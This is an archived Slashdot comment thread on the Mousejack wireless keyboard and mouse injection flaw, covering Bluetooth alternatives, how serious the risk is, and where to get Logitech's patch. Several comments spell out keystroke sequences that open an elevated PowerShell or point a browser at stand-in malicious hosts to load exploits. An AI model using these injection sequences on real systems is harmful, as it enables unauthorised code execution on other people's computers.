Slashdot Mirror


Mousejack Attacks Exploit Wireless Keyboards and Mice (threatpost.com)

msm1267 writes: Researchers have discovered a vulnerability in the USB devices that support wireless keyboards and mice that could put a countless number of devices at risk to attack. Seven manufacturers have been informed of the flaw, but as of today, only Logitech has produced a firmware update. Some have no update mechanism and can never be patched. The issue lies in the fact that some of the commands from the peripheral device to the dongle are not encrypted. Most do not authenticate packets and an attacker within close proximity and using a USB transmitting malicious packets over radio frequency can trick the victim's machine into accepting mouse clicks impersonating keystrokes. It would take a matter of seconds for the attacker's code to load a rootkit, malware or additional network access.

78 of 112 comments (clear)

  1. And that, ladies and gentlemen... by Chris+Mattern · · Score: 3, Insightful

    ...is why you should be using bluetooth instead of cheaping out. Saves a USB port, too!

    1. Re:And that, ladies and gentlemen... by wardrich86 · · Score: 4, Interesting

      Saves a USB port, too!

      But you'd need a Bluetooth dongle to get that connection... so you'd still be out a USB port. Not sure of many PC's that come with native Bluetooth support

    2. Re:And that, ladies and gentlemen... by Gojira+Shipi-Taro · · Score: 1

      Dunno. My ~4 year old ASUS motherboard has bluetooth on board.

      --
      "Oh my God. This is terrible. This is the end of my Presidency. I'm fucked."; ~ Donald J. Trump
    3. Re:And that, ladies and gentlemen... by Chris+Mattern · · Score: 1

      I was assuming a laptop, which almost always has built-in Bluetooth. A desktop with no Bluetooth I'd just use a wire.

    4. Re:And that, ladies and gentlemen... by hondo77 · · Score: 2

      Not sure of many PC's that come with native Bluetooth support.

      Besides iMacs, which have had it for ten years.

      --
      I live ze unknown. I love ze unknown. I am ze unknown.
    5. Re:And that, ladies and gentlemen... by squiggleslash · · Score: 1

      Unfortunately the bluetooth mouse and keyboard market isn't particularly well served. Widgets exist, but 99% of them are aimed at tablets or phones. Mice support in particular is fairly dire.

      Hopefully that'll change soon...

      --
      You are not alone. This is not normal. None of this is normal.
    6. Re:And that, ladies and gentlemen... by BlueLightning · · Score: 1

      Or, just use a wired keyboard and mouse. Wireless keyboard on a desk has always seemed particularly ridiculous to me - the thing doesn't need to move, so why is having a cable an issue?

    7. Re: And that, ladies and gentlemen... by arielCo · · Score: 1

      Not every user of a "desktop" computer sits in front of a desk; some sit on a bed or couch (HTPC anyone?). Then there are those who just don't like wires for aesthetic reasons.

      --
      This post contains no rudeness or derision of any kind. All arguments are friendly. Terms and exclusions may apply.
    8. Re:And that, ladies and gentlemen... by U2xhc2hkb3QgU3Vja3M · · Score: 1

      And then there's the %#@%$@ mess on my desktop always getting in the way of the mouse's cable.

    9. Re:And that, ladies and gentlemen... by NormalVisual · · Score: 1

      I wish Dell still made the MNY-RAQ-DEL2. I bought four of them when I found a batch of new old stock on eBay.

      --
      Please stand clear of the doors, por favor mantenganse alejado de las puertas
    10. Re:And that, ladies and gentlemen... by Aaden42 · · Score: 1

      Used to be the case that the reaction time on non-BT wireless was quicker. It wasn't necessarily cheaping out as the proprietary solution actually provided a benefit. More overhead in the BT protocol meant more lag. Not sure if that's still true with current BT hardware/software stacks.

      Not something you'd notice typing in the office, but gamers...

    11. Re:And that, ladies and gentlemen... by I4ko · · Score: 1

      and I wish Microsoft still made Microsoft Bluetooth Notebook Mouse 5000 which was about the best mouse I ever used. I do have 3 of them, but recently got a Logitech M535 that is not too bad, but a little bigger than I would like.

    12. Re:And that, ladies and gentlemen... by tlhIngan · · Score: 1

      Used to be the case that the reaction time on non-BT wireless was quicker. It wasn't necessarily cheaping out as the proprietary solution actually provided a benefit. More overhead in the BT protocol meant more lag. Not sure if that's still true with current BT hardware/software stacks.

      Not something you'd notice typing in the office, but gamers...

      The other problem I had with Bluetooth is stuck keys or sticky keys caused by flaky signals. I used to use an Apple Bluetooth keyboard with my Mac Mini. It worked, but if the distance increased beyond a few feet, it was unreliable and keys would randomly get stuck as the key down report gets received, while the keyboard is trying to send a key up report. End result is you can get a stuck modifier key or a repeating typable key until the keyboard finally reconnects.

      Replaced it with a Logitech, never had a problem since - no stuck keys and response time seemed way quicker.

      Though I wonder - the Unifying receivers Logitech have require pairing devices together - not as sophisticated as Bluetooth, but you have to go into the app and tell it to pair devices at which point it searches for the first device to be power cycled. Which would mean physical access to the machine is required and thus a way to install malware way quicker and easier.

    13. Re:And that, ladies and gentlemen... by castionsosa · · Score: 1

      This is a good point... realistically, why do the wireless keyboard/mouse makers use their own protocol, which is most likely far less secure than something designed by people who know what they are doing? BT is a relatively open protocol that has stood the test of time. Yes, it has had its security issues, but after 10+ years, it is pretty robust, and is definitely good enough, assuming proper pairing with 4-6 digit PINs (and re-pairing happens very infrequently.) If one needs more security, it can be handled at the application layer.

      When I see some mouse or keyboard requiring its own dongle, I move on. If they are too cheap to use an industry standard for their stuff, then I'm suspecting they skimped on security somewhere else.

    14. Re: And that, ladies and gentlemen... by castionsosa · · Score: 1

      I wonder if a $10 dongle would remedy the situation with most laptops.

      Realistically, in a dense office environment, it might be better to just go with wired devices, to minimize congestion on the airwaves.

    15. Re:And that, ladies and gentlemen... by KGIII · · Score: 1

      I know this is gonna sound strange, but when it comes to input devices like keyboards and mice, I've had really good luck with Microsoft. I dunno who's making 'em or if they're just rebadged OEM stuff but they're pretty good. I noticed quite by accident and not entirely intentionally. They're good enough that I've stuck with 'em for a long time and have been really happy given the times I've had to use other products.

      --
      "So long and thanks for all the fish."
    16. Re:And that, ladies and gentlemen... by CSMoran · · Score: 1

      Wireless keyboard on a desk has always seemed particularly ridiculous to me - the thing doesn't need to move, so why is having a cable an issue?

      But the keyboard does move -- usually to temporarily make room for something else: notepad, snacks, book, body parts. And then the cable invariably trips either the wine glass or the coffee cup. The wireless signals have a better track record of not doing that.

      --
      Every end has half a stick.
    17. Re:And that, ladies and gentlemen... by radarskiy · · Score: 1

      You have a better chance that your computer already has Bluetooth than it has some random proprietary wireless method.

    18. Re:And that, ladies and gentlemen... by drinkypoo · · Score: 1

      But you'd need a Bluetooth dongle to get that connection... so you'd still be out a USB port. Not sure of many PC's that come with native Bluetooth support

      Most laptops, many all-in-ones, and a few desktops have bluetooth built in. Of course, it's usually attached to the USB bus... but not always

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    19. Re:And that, ladies and gentlemen... by Gaygirlie · · Score: 1

      I've seen a mere couple of desktop-mobos with BT in them, and those only in advertisements. None of the desktop-mobos I've actually gotten my hands on have had BT integrated. Then again, I don't live in fantasy-land.

    20. Re:And that, ladies and gentlemen... by Gaygirlie · · Score: 1

      Who are you to say keyboard doesn't have to move? I move my keyboard all the time, even though I use it on the desk. Wireless devices are much more convenient since there is no need to fiddle with cables when you have to temporarily move something around.

    21. Re:And that, ladies and gentlemen... by Coisiche · · Score: 1

      I'm the only person in my office that still uses wired keyboard and mouse and I don't find it inconvenient at all. My mug of tea sits between the keyboard and mouse cables and there have been no mishaps.

    22. Re:And that, ladies and gentlemen... by Aaden42 · · Score: 1

      Not strange... I've got MS keyboards plugged into both of my Macs. Feels like ordering a Coke & Pepsi cocktail, but they're decent keyboards. Still holding out hope for finding a decent clicky microswitch (like IBM XT period keyboards) that has an ergonomic split and doesn't cost my first born, but until then... MS keyboards, Logitech mice.

    23. Re:And that, ladies and gentlemen... by wardrich86 · · Score: 1

      That's true, but I can't see wireless KBM packages coming with bluetooth adapters any time soon... though if they switch to Bluetooth, it might make the dongles more available and possibly cheaper.

    24. Re:And that, ladies and gentlemen... by gordguide · · Score: 1

      This is a good point... realistically, why do the wireless keyboard/mouse makers use their own protocol, which is most likely far less secure than something designed by people who know what they are doing? BT is a relatively open protocol that has stood the test of time. Yes, it has had its security issues, but after 10+ years, it is pretty robust, and is definitely good enough, assuming proper pairing with 4-6 digit PINs (and re-pairing happens very infrequently.) If one needs more security, it can be handled at the application layer.

      When I see some mouse or keyboard requiring its own dongle, I move on. If they are too cheap to use an industry standard for their stuff, then I'm suspecting they skimped on security somewhere else.

      I don't know one way or the other, so this is pure speculation, but it may be a cost issue. Some may scoff, but virtually any difference in wholesale / production level quantity costs beyond the trivial usually means one wins overwhelmingly over the other. A case in point ... Firewire chips (the original 400 MHz versions) were about $25 in wholesale / 1000 qty versus USB 1.1 at around $15. FW has significant performance advantages over USB, not the least of which is it is fully self-managing whereas USB requires management by the host CPU and CPU cycles to function, which also makes the number of USB buses available in the motherboard an issue. But that $10 price difference pretty much killed the FW in the market, even in areas where the performance differences were significant (eg Audio or Video where real-time performance is important in a way that made buffering a poor solution, so USB management could cause dropped frames, etc).

      Computing and Computer peripherals are a bit more cut-throat as far as these manufacturers' choices go compared to other industries so even small differences in cost make one option overwhelmingly supported versus another.

      Like I said earlier, no idea if this played a role in some manufacturers' choosing WiFi over Bluetooth (and this would be BT 2 with 10m range) but certainly it's possible.

  2. 1. Wireless 2. Secure. by Anonymous Coward · · Score: 2

    Pick one.

    Security is always a trade-off, where you decide how determined your attacker is going to be, and weigh that against convenience.

    If you're choosing wireless peripherals, you are leaning so far toward the "convenient" that you're wasting your time if you think any other security measures can make up for it.

  3. No way by the_skywise · · Score: 5, Funny

    There's no way my wireless keyboard could ever be hacked in this fashion beca I MADE $125,000 YEAR BY USING THESE SIMPLE STEPS - CLICK HERE TO LEARN MORE http://888999444333.ze/?bypass...

    1. Re:No way by fzammett · · Score: 2

      DING! WINNER! Internet won! Time to go home everyone, we're done for the day!

      --
      If a pion (n-) collides with a proton in the woods & noone is there to hear it, does lamdba decay into the source pa
    2. Re:No way by KGIII · · Score: 1

      Ah, one of my favorite quotes is from a buddy of mine who had lived in the Deep South... "I ain't never scared."

      Your link doesn't resolve. Yes, yes I did click it. I figured someone had to.

      --
      "So long and thanks for all the fish."
  4. Risk Level by David_Hart · · Score: 1

    Just how much of a risk is there to this exploit?

    "A Logitech spokesman told the MIT Technology review that the company has a software update to fix the issue, but that the vulnerability Bastille detected “would be complex to replicate” since it requires being physically close to the victim, which makes it “a difficult and unlikely path of attack.”

    It seems to me that you would have to be fairly close to the system that you are attacking as the USB plug doesn't have a lot of power or range. Yes, an attacker could install a repeater. But that too requires physical access. Plus, you have to know what type of system you are attacking (UNIX vs Windows), etc. It does seem like Logitech makes a good point even though they may have a vested interest in downplaying it.

    1. Re:Risk Level by gstoddart · · Score: 1

      Just how much of a risk is there to this exploit?

      How much of a potential reward is there?

      Things like this usually show it's technically feasible, even if impractical. But if the payoff is high enough, it's probably worth someone doing.

      Today's "too difficult to replicate" can easily become "tomorrow's hack in the wild". But if someone sees enough possible payoff for doing it, it's just one more thing.

      And it seems there's always someone looking to exploit anything just because it's there.

      --
      Lost at C:>. Found at C.
    2. Re:Risk Level by wonkey_monkey · · Score: 1

      Just how much of a risk is there to this exploit?

      The answer is "enough." I can't imagine coming under this kind of attack myself, but it should be cause enough for a targettable company that deals with sensitive (valuable) data to think twice about rolling out wireless keyboards/mice.

      it requires being physically close to the victim['s computer]

      which could be on the other side of a locked door, or a (fairly thin) wall, or a floor...

      --
      systemd is Roko's Basilisk.
    3. Re:Risk Level by dbIII · · Score: 1

      With credit card details entered via keyboard the reward could be enormous.
      With such an obvious motive I have zero sympathy for the utter losers that rushed their product out the door with inadequate security. The products are not fit for the purpose they are designed for.

    4. Re:Risk Level by gstoddart · · Score: 1

      With such an obvious motive I have zero sympathy for the utter losers that rushed their product out the door with inadequate security.

      Of course, the problem with that is that the "losers that rushed their product out the door with inadequate security" aren't the people we need to feel sorry for in this case ... like every other piece of shit consumer technology with non-existent security, it's the consumer who suffers.

      Put the makers of this tech on the hook for paying damages, or throw the CEOs in jail .. then I might give a second though to them.

      And, really, even if a CEO could personally face jail time, I still can't give a fuck.

      --
      Lost at C:>. Found at C.
  5. Mousejack? by Lead+Butthead · · Score: 2

    I thought someone is deploying tools to give rodents hand jobs, and that was terribly odd to be on /.

    --
    ELOI, ELOI, LAMA SABACHTHANI!?
  6. Re:Cuz, You're A Moron by sims+2 · · Score: 1

    Oh the part I hate is the connect delay you get with bluetooth.

    If I want to type "The quick brown fox jumps over the lazy dog" on a bluetooth keyboard that has been left idle by the time I finish typing the keyboard has just reconnected and I get "og"

    You don't have that problem with most of the proprietary wireless spec keyboards and mice.

    --
    Minimum threshold fixed. Thanks!
  7. Load malware? by Cigaes · · Score: 1, Insightful

    “It would take a matter of seconds for the attacker's code to load a rootkit, malware or additional network access.”

    Really? With just keystrokes and mouse moves? With no feedback about where the keystrokes and clicks end up?

    For a particular target, a way can probably be devised, but it will most likely be slow and visible. And not work with the next target.

    Injecting keys is clearly a security flaw with severe consequences, but over-hyping it is unproductive.

    1. Re:Load malware? by wonkey_monkey · · Score: 3, Informative

      Really? With just keystrokes and mouse moves?

      Yup. Actually, just keystrokes - the summary's a bit confused on the subject, but the article says nothing about spoofing mouse moves and clicks - it does, however, say that in some cases an attacker can impersonate the mouse but use it to send keypress packets (the keyboards in question encrypt these, but the receiver accepts them unencrypted from the "mouse").

      but it will most likely be slow and visible

      Not necessarily. What if you want access to a computer you can see through a window (and verify that no-one is near), but is behind a locked door? Even if you can't see the screen, sending Win+R c m d [enter] and so on seems fairly doable.

      --
      systemd is Roko's Basilisk.
    2. Re:Load malware? by Firethorn · · Score: 1

      Really? With just keystrokes and mouse moves? With no feedback about where the keystrokes and clicks end up?

      start-button->cmd->ftp(malware site & file)->execute downloaded malicious file.

      as long as the start button isn't actually up when you do it, it should have a reasonable chance of success.

      --
      I don't read AC A human right
    3. Re:Load malware? by Cigaes · · Score: 1

      What's a “start button”? :-

      And to wonkey_monkey: what would “òcmd” achieve? “ò” is the character that XTerm generates with win-R.

      To achieve anything, you need either feedback (“see through a window”) or strong assumptions about the user interface currently running.

    4. Re:Load malware? by NormalVisual · · Score: 1

      Really? With just keystrokes and mouse moves? With no feedback about where the keystrokes and clicks end up?

      On Windows, sure:

      Win-R
      "powershell" + Enter
      "start-process powershell -verb runas" + Enter
      one left-arrow key
      Enter

      This should work on practically any Windows install that includes PowerShell and is at a live desktop. You're now at an admin shell from which you can download whatever you want and run it. As you mentioned, all of this activity will be visible, but if you're away from the keyboard and it's not locked, then you're hosed.

      --
      Please stand clear of the doors, por favor mantenganse alejado de las puertas
    5. Re:Load malware? by Cigaes · · Score: 1

      So it works in certain cases with a lot of assumptions. Exactly what I was saying.

    6. Re:Load malware? by NormalVisual · · Score: 1

      You asked for keystrokes/mouse moves only, with no feedback about where they went. I provided a practical example that will work for a lot of machines, that's all.

      --
      Please stand clear of the doors, por favor mantenganse alejado de las puertas
    7. Re:Load malware? by txmason · · Score: 1

      “It would take a matter of seconds for the attacker's code to load a rootkit, malware or additional network access.”

      Really? With just keystrokes and mouse moves? With no feedback about where the keystrokes and clicks end up?

      Win-R -> http://www.malicious-site.com/ -> flash exploit (or whatever)

      matter of seconds.

    8. Re:Load malware? by Cigaes · · Score: 1

      Read the other replies before posting the same thing.

    9. Re:Load malware? by countach · · Score: 1

      "With no feedback about where the keystrokes and clicks end up?"

      I'm guessing most OSes have a hot key to access the menu, from there you can start an appropriate terminal using just keystrokes, and once in a terminal, well.... it's open slather. Don't dismiss what can be done with just keystrokes.

    10. Re:Load malware? by Dragonslicer · · Score: 1

      So it works in certain cases with a lot of assumptions. Exactly what I was saying.

      Where "certain cases with a lot of assumptions" equals "a computer running a recent version of Windows". I'm guessing that there might be a few of those out there.

    11. Re:Load malware? by Cigaes · · Score: 1

      But “most OSes have” is not commutative: for most OSes, there may be a key, but there is no single key common to all OSes and user environment. So basically, without feedback, you can expect to take over microsoft's gaming environment, nothing more. There are bigger security holes in it.

    12. Re:Load malware? by KGIII · · Score: 1

      The terminal is *usually* mapped to CTRL + ALT + T with *most* distros that I've actually dug into. I've noticed one that didn't do that, I think I've made it so it *does* do that on that VM. I can dig it back out. I didn't check it on all of 'em nor have I tried all of 'em. I'm pretty sure that if I can get that close to the device, I can take a minute to figure out what the OS is. Hell, I can probably find the layout and then write a shim and mirror it over a replicated desktop and map mouse movements, all with something the size of a Pi - and I'm not even remotely skilled. If I can do that... If there's a command prompt of any type then, well... There's usually a shortcut to bring it up.

      It has been a while but you used to be able to hit CTRL + TAB, then TAB, then down either two or three times and press Enter. That will open IE, OE is at the top, and MSN is the second one down (I think?) - on a default Windows install that is "locked down" so you can't use a mouse. It works even if you can't *see* the mouse or even bring up the desktop. It worked for 98, 98se, ME, NT, and 2k (though I think those had the IE icon moved so it was just two down button presses). I have not tried it with Vista, 7, etc... It probably works. I'm pretty sure that was the combination? I've not used Windows in a while so I can't really go check that for you.

      Ah well... Yeah, you can do a lot with being able to intercept and inject at an input level. If you can read what's going through it AND alter or replace that input, you damned well own the device. If not, do some logging and you will.

      --
      "So long and thanks for all the fish."
    13. Re:Load malware? by dbIII · · Score: 1

      Really? With just keystrokes and mouse moves?

      Yes. Keyboard shortcut to launch browser then URL.

      With no feedback about where the keystrokes and clicks end up?

      If you order it to download your rootkit or whatever you can get feedback from wherever you have hosted your little bit of nastiness to tell you that it has been picked up.

    14. Re:Load malware? by Firethorn · · Score: 1

      What's a “start button”?

      The button that typically has the picture of a window on it.

      start->R gives you the ability to execute a command via type interface on windows. Use it to spawn a CLI shell. use CLI shell to write a script that spawns a process that downloads & executes the malware.

      Yes, it's operating system specific. So freaking what? So isn't the malware I'm going to attempt to load. There's not enough linux users out there to matter, as the AC mentions. Crackers, like terrorists, like to target soft targets. I'm trying to compromise computers, not your specific computer, normally speaking.

      I'm not an apple guy, so I don't know how I'd go about compromising one of them, given an open point.

      --
      I don't read AC A human right
    15. Re:Load malware? by radarskiy · · Score: 1

      "without feedback"

      Except you do get feedback... whether your OS-specific exploit worked or not. If it does work, then the target is using that exploit. If not, try an exploit specific to a *different* OS. Start off just trying to ping a known address where you are logging, and note which stage gives you a ping that actually shows up in the log. Once you have identified the OS then you can get on with the real payload.

    16. Re:Load malware? by NormalVisual · · Score: 1

      Where "certain cases with a lot of assumptions" equals "a computer running a recent version of Windows"

      And where "recent" equals "any version released in the last 10 years".

      --
      Please stand clear of the doors, por favor mantenganse alejado de las puertas
    17. Re:Load malware? by complete+loony · · Score: 3, Informative

      Hack a computer just by typing? Absolutely.

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
    18. Re:Load malware? by Cigaes · · Score: 1

      Yes, just typing, and in a matter of seconds. Just typing: no seeing what you type, no knowing the keyboard layout, no knowing the user interface running, nothing except keys blindly. As was already pointed out by numerous persons before you posted your duplicated comment, this would work on lusers computers left to the default values. A rather costly attack (requires hardware and physical presence) that can only work generically on the most worthless of targets. Not really worrying. (Of course, for targeted attack, that is another story entirely.)

      Well, I suppose I shall expect still half a dozen of similar comments from self-styled geeks that are so proud to know the default keyboard shortcut for running a command on the only OS and desktop environment they know.

    19. Re:Load malware? by Firethorn · · Score: 1

      testing with my Mint install: Alt-F2 instead, then gnome-terminal.
      or start button ->terminal
      both bring up a command prompt, which will allow you to(depending on settings) download and execute a file.

      assuming they're not stupid enough to run as root, they're at least limited to the user's rights unless an exploit exists; getting code to execute on the target machine is 90% of the work.

      --
      I don't read AC A human right
    20. Re:Load malware? by complete+loony · · Score: 1

      Don't need to know the keyboard layout. Only need to guess that it's a window's machine that is unlocked. You could also move the mouse or perhaps press the scoll-lock key occasionally to prevent the screen saver from automatically starting.

      Unlike most of the other responses that I scanned through at the time, which required a browser exploit, or ftp access. This approach could be used to run arbitrary code without the assistance of a 3rd party server, or a known browser exploit. It only depended on Win+R, cmd, notepad and powershell. And I'm sure that list could be reduced further.

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
    21. Re:Load malware? by Cigaes · · Score: 1

      Two mistakes in your message:

      “Don't need to know the keyboard layout”: how do you type the ‘m’ in “cmd” on an AZERTY keyboard?

      “Arbitrary code”: no, only code that is already present on the computer. Typing binaries with just the keyboard and generic software is tricky.

    22. Re:Load malware? by complete+loony · · Score: 1

      We're talking about a targeted attack that requires local (-ish) access. Firstly you can probably assume the target has a locale appropriate to their location. However that isn't required, as a USB HID device can send raw 16-bit unicode.

      Did you really read that link?

      # our hex binary
      shell_exec = "4d5a90000300000004000....

      That's a hex dump of a PE .exe file. They then type a powershell script to convert it to binary. That's arbitrary code right there. Unless you have gone to unusual lengths to prevent the launching of an .exe.

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
  8. "mouse clicks impersonating keystrokes" by wonkey_monkey · · Score: 1

    mouse clicks impersonating keystrokes.

    The article is clearer on what this suppoed to mean:

    An attacker can impersonate the mouse but transmit keypress-packets

    --
    systemd is Roko's Basilisk.
  9. Bluetooth range by Firethorn · · Score: 1

    True, but many (most?) PC laptops don't have enough range to use a Bluetooth keyboard or mouse.

    And you're basing this on ONE test case? I don't know whether it was the logitech or the Dell stuff that sucked, but one of them must have.

    Between several keyboards, mice, and laptops (logitech, microsoft, dell, and a few no-names), I've never had any real problem with bluetooth range. The 'whole house' seems to be the range - I only get problems from the furthest bedroom to the garage on the opposite side.

    --
    I don't read AC A human right
    1. Re:Bluetooth range by I4ko · · Score: 2

      BS. I've been using Bluetooth mice(Microsoft/ only lately Logitech) and keyboards(Logitech) with Dell laptops for more than 6 years now, and Bluetooth mice (HP, Microsoft) and Bluetooth keyboards (Apple) with Apple minis and macbooks since 2007. Never had this problem. The farthest practical distance that I used consistently (because I still need to look and see at the damn monitor, don't you need to look at it too?) is about twice my height or about 12 feet, and never had an issue. Bluetooth range is defined by classes - class I - 100m, class II - 10m, class III - 1m. Class II devices work well, and for mice and Bluetooth it is actually better to get class III as to additionally limit the range at which adversaries need to be.

    2. Re:Bluetooth range by mindwhip · · Score: 4, Insightful

      You tried to use 1600 bluetooth keyboards and mice in relatively close proximity (probably open plan/cubicle office) and are surprised they didn't work? you probably had them all networked using wifi at the same time as well...

      --
      [The Universe] has gone offline.
    3. Re:Bluetooth range by Firethorn · · Score: 1

      Nope, didn't miss that. You simply repeated the same experiment 'a case worth' of times. Same model Laptops, same production run of mice/keyboards. Hell the mice & keyboards were probably sequentially produced on the same line.

      Then, as mindwhip mentioned - how noisy is your environment? My house is a lot quieter on the 2.4Ghz zone than an office with lots of laptops connecting wireless. For one, my network is in the 5GHz.

      --
      I don't read AC A human right
  10. High, actually. Re:Risk Level? by Fencepost · · Score: 4, Informative

    The risk from this could actually turn out to be really high - perhaps not to any individual system, but to an office environment. TFA includes "100 meters" and "a $15 USB dongle and 15 lines of Python code" which I could believe.

    The issue is that if this can be a broadcast attack, it doesn't need to be successful any more than hacking an ad network needs 100% infection rates - if I can drive up outside a multi-story office building with a cheap adapter at the end of a USB extension cable (and perhaps an appropriate dish) and broadcast "Win-R http://attacksite.site/<Enter>", how many of the PCs in window offices will load that site which loads various exploits based on detection of the browser? This is even better than spearphishing because I don't have to worry about getting through email filters, and if I manage it right I know what company/companies I targeted at what time along with my trojan access to one or more computers within those offices.

    Remember, this is injection of events, not 2-way communication. There's no handshaking or anything else.

    I'm going to be keeping track of this and probably pushing some customers to eliminate or at least replace some cordless equipment - that was an agenda item before, but this can make it a high-priority agenda item.

    --
    fencepost
    just a little off
  11. Last Post by michaelcole · · Score: 1

    Say goodbye Microsoft keyboard and mouse. Glad I had a spare :-/

    Affected devices

  12. "Working with vendors for 90 days" by michaelcole · · Score: 1

    Searching for a new keyboard on Amazon and seeing all the existing USB keyboards being sold with this vulnerability really pisses me off. It's some major fucking fraud to keep selling a product with this vulnerability.

  13. Logitech firmware update not _actually_ available? by Anonymous Coward · · Score: 1

    As of 13:35 Pacific time, the updated Logitech firmware doesn't seem to be actually downloadable.

    It's nice of Logitech to develop such software, but they actually have to publish it for it to make a difference.

    (Tried both my OSX and Windows 7 machines, the Logitech Unify software says no updates available, nothing but questions on their forum)

  14. So where's this Logitech firmware update? by Ingenium13 · · Score: 1

    So where's this Logitech firmware update? I searched their website, looked at the downloads offered for my mouse (MX Master), and there isn't a firmware update utility. Checked all OSes.

    I wish I could use just bluetooth with it instead of the dongle, but Ubuntu 14.04 doesn't seem to work with it with bluetooth... My chromebook on the other hand works flawlessly.

  15. Download links by Anonymous Coward · · Score: 1
  16. Just buy a similar keyboard/mouse by eth1 · · Score: 3, Funny

    I worked as a one-man IT dept for a small private school for a few years. Someone donated a bunch of wireless keyboard/mouse sets one year, which were used by several of the teachers (without my involvement).

    Shortly afterwards, I started getting odd "OMG, my computer is infected" reports. Mouses were moving on their own, and random typing was appearing out of nowhere.

    The ethernet jacks were usually on shared walls, which resulted in PCs ending up on opposite sides of the same wall (only 2-3 feet apart). Since the devices only had three channels, several of these pairs had ended up on the same one, with hilarity ensuing. :)

  17. Reversed sounds worse by duke_cheetah2003 · · Score: 1

    Could this hack be reversed, ie: log keystrokes from a wireless keyboard? That sounds substantially more dangerous and more useful to a hacker than sending keystrokes. I've always been wary of wireless keyboard for this reason, but mice are pretty much a non-issue if their data could be captured. Mouse data sending is probably just as useless.

  18. Re:Logitech firmware update not _actually_ availab by Anonymous Coward · · Score: 1

    Here's the official statement from Logitech.

    The post:
    http://forums.logitech.com/t5/Mice-and-Pointing-Devices/Logitech-Response-to-Unifying-Receiver-Research-Findings/m-p/1493878/thread-id/73186

    The file
    http://logt.ly/0222
    DL the linked file, run it (it will not really do anything that you can see) then try updating the firmware thru the Unifying software. It is all in the post

  19. Logitech's response by Anonymous Coward · · Score: 1

    Here's the official statement from Logitech.

    The post:
    http://forums.logitech.com/t5/Mice-and-Pointing-Devices/Logitech-Response-to-Unifying-Receiver-Research-Findings/m-p/1493878/thread-id/73186

    The file
    http://logt.ly/0222
    DL the linked file, run it (it will not really do anything that you can see) then try updating the firmware thru the Unifying software. It is all in the post

    I installed this and it breaks a few things in the software, like displaying variables instead of the text in the update options, but it seems to work fine for now.

  20. Glad I dont use wireless keyboards and mice... by jonwil · · Score: 1

    Not only do wireless keyboards and mice (regardless of technology) chew through batteries but they are also vulnerable to attacks? Glad I am not using them on my PC then (Logitech K120 keyboard and Gigabyte GM-M6580 laser mouse)

    1. Re:Glad I dont use wireless keyboards and mice... by NormalVisual · · Score: 1

      Not only do wireless keyboards and mice (regardless of technology) chew through batteries but they are also vulnerable to attacks?

      I have to replace the batteries in my BT keyboard about every six months. My BT mouse is still on its original set, two years later.

      --
      Please stand clear of the doors, por favor mantenganse alejado de las puertas
    2. Re:Glad I dont use wireless keyboards and mice... by LordWabbit2 · · Score: 1

      I fail to see the point in wireless keyboard/mouse for a standard PC. I mean how fucking far do you move your keyboard in a day? A wireless mouse I might bother with on a laptop. I went the whole cordless route at one point (and I buy my keyboard/mouse in pairs, one for work and one for home) and all it meant was stealing batteries at 3 in the morning from other devices so I can finish a raid. As soon as one of the keyboards wore out (alt key on work keyboard) I replaced the lot with corded ones.

      --
      There are three kinds of falsehood: the first is a 'fib,' the second is a downright lie, and the third is statistics.
  21. Re:Cuz, You're A Moron by Burz · · Score: 1

    Bluetooth is closed and poorly vetted. Do not count on it being secure.